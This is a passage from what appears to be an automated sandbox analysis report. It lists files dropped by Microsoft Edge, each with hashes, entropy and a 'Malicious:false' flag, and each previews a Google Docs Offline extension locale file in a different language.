                                                                                                                                                                          Preview:{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1028
                                                                                                                                                                          Entropy (8bit):4.797571191712988
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
                                                                                                                                                                          MD5:970544AB4622701FFDF66DC556847652
                                                                                                                                                                          SHA1:14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
                                                                                                                                                                          SHA-256:5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
                                                                                                                                                                          SHA-512:CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):994
                                                                                                                                                                          Entropy (8bit):4.700308832360794
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
                                                                                                                                                                          MD5:A568A58817375590007D1B8ABCAEBF82
                                                                                                                                                                          SHA1:B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
                                                                                                                                                                          SHA-256:0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
                                                                                                                                                                          SHA-512:FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2091
                                                                                                                                                                          Entropy (8bit):4.358252286391144
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
                                                                                                                                                                          MD5:4717EFE4651F94EFF6ACB6653E868D1A
                                                                                                                                                                          SHA1:B8A7703152767FBE1819808876D09D9CC1C44450
                                                                                                                                                                          SHA-256:22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
                                                                                                                                                                          SHA-512:487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2778
                                                                                                                                                                          Entropy (8bit):3.595196082412897
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
                                                                                                                                                                          MD5:83E7A14B7FC60D4C66BF313C8A2BEF0B
                                                                                                                                                                          SHA1:1CCF1D79CDED5D65439266DB58480089CC110B18
                                                                                                                                                                          SHA-256:613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
                                                                                                                                                                          SHA-512:3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1719
                                                                                                                                                                          Entropy (8bit):4.287702203591075
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
                                                                                                                                                                          MD5:3B98C4ED8874A160C3789FEAD5553CFA
                                                                                                                                                                          SHA1:5550D0EC548335293D962AAA96B6443DD8ABB9F6
                                                                                                                                                                          SHA-256:ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
                                                                                                                                                                          SHA-512:5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):936
                                                                                                                                                                          Entropy (8bit):4.457879437756106
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
                                                                                                                                                                          MD5:7D273824B1E22426C033FF5D8D7162B7
                                                                                                                                                                          SHA1:EADBE9DBE5519BD60458B3551BDFC36A10049DD1
                                                                                                                                                                          SHA-256:2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
                                                                                                                                                                          SHA-512:E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):3830
                                                                                                                                                                          Entropy (8bit):3.5483353063347587
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
                                                                                                                                                                          MD5:342335A22F1886B8BC92008597326B24
                                                                                                                                                                          SHA1:2CB04F892E430DCD7705C02BF0A8619354515513
                                                                                                                                                                          SHA-256:243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
                                                                                                                                                                          SHA-512:CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1898
                                                                                                                                                                          Entropy (8bit):4.187050294267571
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
                                                                                                                                                                          MD5:B1083DA5EC718D1F2F093BD3D1FB4F37
                                                                                                                                                                          SHA1:74B6F050D918448396642765DEF1AD5390AB5282
                                                                                                                                                                          SHA-256:E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
                                                                                                                                                                          SHA-512:7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):914
                                                                                                                                                                          Entropy (8bit):4.513485418448461
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
                                                                                                                                                                          MD5:32DF72F14BE59A9BC9777113A8B21DE6
                                                                                                                                                                          SHA1:2A8D9B9A998453144307DD0B700A76E783062AD0
                                                                                                                                                                          SHA-256:F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
                                                                                                                                                                          SHA-512:E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):851
                                                                                                                                                                          Entropy (8bit):4.4858053753176526
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
                                                                                                                                                                          MD5:07FFBE5F24CA348723FF8C6C488ABFB8
                                                                                                                                                                          SHA1:6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
                                                                                                                                                                          SHA-256:6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
                                                                                                                                                                          SHA-512:7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):878
                                                                                                                                                                          Entropy (8bit):4.4541485835627475
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
                                                                                                                                                                          MD5:A1744B0F53CCF889955B95108367F9C8
                                                                                                                                                                          SHA1:6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
                                                                                                                                                                          SHA-256:21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
                                                                                                                                                                          SHA-512:F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2766
                                                                                                                                                                          Entropy (8bit):3.839730779948262
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
                                                                                                                                                                          MD5:97F769F51B83D35C260D1F8CFD7990AF
                                                                                                                                                                          SHA1:0D59A76564B0AEE31D0A074305905472F740CECA
                                                                                                                                                                          SHA-256:BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
                                                                                                                                                                          SHA-512:D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):978
                                                                                                                                                                          Entropy (8bit):4.879137540019932
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
                                                                                                                                                                          MD5:B8D55E4E3B9619784AECA61BA15C9C0F
                                                                                                                                                                          SHA1:B4A9C9885FBEB78635957296FDDD12579FEFA033
                                                                                                                                                                          SHA-256:E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
                                                                                                                                                                          SHA-512:266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):907
                                                                                                                                                                          Entropy (8bit):4.599411354657937
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
                                                                                                                                                                          MD5:608551F7026E6BA8C0CF85D9AC11F8E3
                                                                                                                                                                          SHA1:87B017B2D4DA17E322AF6384F82B57B807628617
                                                                                                                                                                          SHA-256:A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
                                                                                                                                                                          SHA-512:82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):914
                                                                                                                                                                          Entropy (8bit):4.604761241355716
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
                                                                                                                                                                          MD5:0963F2F3641A62A78B02825F6FA3941C
                                                                                                                                                                          SHA1:7E6972BEAB3D18E49857079A24FB9336BC4D2D48
                                                                                                                                                                          SHA-256:E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
                                                                                                                                                                          SHA-512:22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
